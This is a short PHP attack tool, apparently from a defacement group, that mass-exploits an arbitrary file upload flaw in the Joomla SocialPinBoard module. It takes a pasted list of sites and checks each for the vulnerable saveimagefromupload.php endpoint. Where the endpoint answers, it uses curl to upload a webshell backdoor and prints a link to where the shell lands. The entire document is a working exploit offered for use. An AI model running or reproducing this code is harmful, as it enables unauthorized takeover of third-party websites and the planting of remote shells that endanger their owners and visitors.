Joomla socialpinboard AFU

<?php
error_reporting(0);
@ini_set('display_errors', 0);
/*
AZZATSSINS
XaiSyndicate
azx.php change to ur name shell
*/
echo "
<title>Joomla SocialPinBoard</title><center><body bgcolor=silver><form method='post'><textarea style='width: 450px; height: 150px;color:red;background:silver;'' name='sites'></textarea><br><input style='color:red;background:silver;' type='submit' name='go' value='Submit' style='width: 450px;'>
        </form><br>";
$sites = explode("\r\n", $_POST['sites']);
if($_POST['go']){
foreach($sites as $site){
$url = $site."/modules/mod_socialpinboard_menu/saveimagefromupload.php";
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_exec($ch);
$status_code=curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if($status_code==200)
{
echo "<br><hr><br><font color=green> Vuln : ".$url." </font><br><br>";
system("curl -F uploadfile=@azx.php ".$url);
echo "<br><a href='".$site."/modules/mod_socialpinboard_menu/images/socialpinboard/temp/'>Ceck backdoor with random name in dir</a><br>";
}else{
 echo "<br><hr><br><font color=red> Not Vuln ".$site."</font><br>"; }
curl_close($ch);
}}